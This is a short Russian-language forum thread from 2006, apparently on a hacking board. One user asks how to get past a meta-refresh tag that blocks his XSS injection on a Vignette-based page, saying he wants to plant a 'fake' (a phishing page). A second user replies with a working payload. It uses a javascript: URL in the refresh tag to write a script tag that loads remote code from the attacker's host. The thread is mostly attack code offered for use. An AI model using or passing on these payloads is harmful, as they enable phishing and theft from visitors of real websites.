PDA

Просмотр полной версии : <meta http-equiv="refresh" content="


-voevoda-
26.12.2006, 05:48
подскажите как можно атрибет тега <meta http-equiv="refresh" content=">
"refresh" отменить а то при попытке сделать XSS
вот код страницы
<!-- Vignette V/5 Tue Dec 26 01:36:13 2006 -->


<meta http-equiv="refresh" content="0;url="><script>alert('555555555')</script>">

происходит постоянно обновление страницы а так хотелось туда ФЕЙк вставить))

r@mbler
27.12.2006, 20:48
Вот можно так(проверено только в IE):

<!-- Vignette V/5 Tue Dec 26 01:36:13 2006 -->


<meta http-equiv="refresh" content="0;url=javascript:document.write('<script language=\'JavaScript\' src=\'http://Путь_до_фейка\'></script>');">




Думаю смысл понял